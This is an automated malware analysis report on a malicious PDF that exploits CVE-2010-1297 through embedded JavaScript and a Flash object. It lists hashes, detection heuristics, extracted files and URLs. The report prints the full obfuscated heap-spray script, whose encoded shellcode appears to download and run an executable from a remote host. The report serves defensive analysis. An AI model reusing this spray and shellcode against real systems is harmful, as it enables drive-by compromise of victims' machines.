Malicious PDF — malware analysis report

Static analysis result for SHA-256 b71513b78c36f13f…

MALICIOUS

PDF

37.7 KB First seen: 2013-08-26
MD5: f023023a4bb44956772ff6e50e2bec11 SHA-1: 1282473f95e4d62bd02f67b2e26be2e13802c9f9 SHA-256: b71513b78c36f13f8c952577bd25cf9e3b9533676a74944b0aa3c860784cfb5d
324 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript and a Flash object (SWF) which are indicative of exploitation. Critical heuristics like CVE-2010-1297 and PDF_JS_EXPLOIT_CLUSTER confirm the use of a heap spray technique via Flash within the PDF. The embedded JavaScript, while obfuscated, uses String.fromCharCode and constructs a large string that is likely used in the heap spray. The presence of an embedded SWF file further supports this attack vector. The primary IOC is the unknown reputation URL http://www.flashandmath.com, which may be related to the payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • CVE-2010-1297 — Adobe Flash/Reader authplay heap-spray (Flash-in-PDF) critical CVE likely CVE_2010_1297
    PDF embeds a Flash (SWF) object via RichMedia and its JavaScript heap-sprays to groom memory for the embedded Flash exploit. This is the CVE-2010-1297 (authplay.dll) Flash-in-PDF memory-corruption shape; the spray is recovered after de-obfuscating space-padded %u, fromCharCode and \u builders that evade the raw heap-spray rules.
  • ClamAV: Pdf.Malware.Agent-7658983-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Malware.Agent-7658983-0
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.flashandmath.com In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Adobe.swf pdf-embedded-file PDF EmbeddedFile object 16 at offset 0xAC7 55839 bytes
SHA-256: ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989
Detection
ClamAV: No threats found
Obfuscation or payload: likely
actual_type=SWF; declared_or_context_type=PDF; filename=Adobe.swf; kind=pdf-embedded-file
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0xF5 1564 bytes
SHA-256: 1f7ef94f8771a4396296f0e12a7162431302e3b52006dfc796b7203dbab241d5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u732F\u6E69\u7567\u2E6C\u6F63\u632E\u3A63\u3138\u622F\u316C\u642F\u776F\u6C6E\u616F\u5F64\u6966\u656C\u702E\u7068\u653F\u413D\u6F64\u6562\u322D\u3130\u2D30\u3832\u3438\uCDFF\u0003';while (padding.length < 65564){	padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){	destination += destination;	if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){	forever[infinite]=today+'s';}

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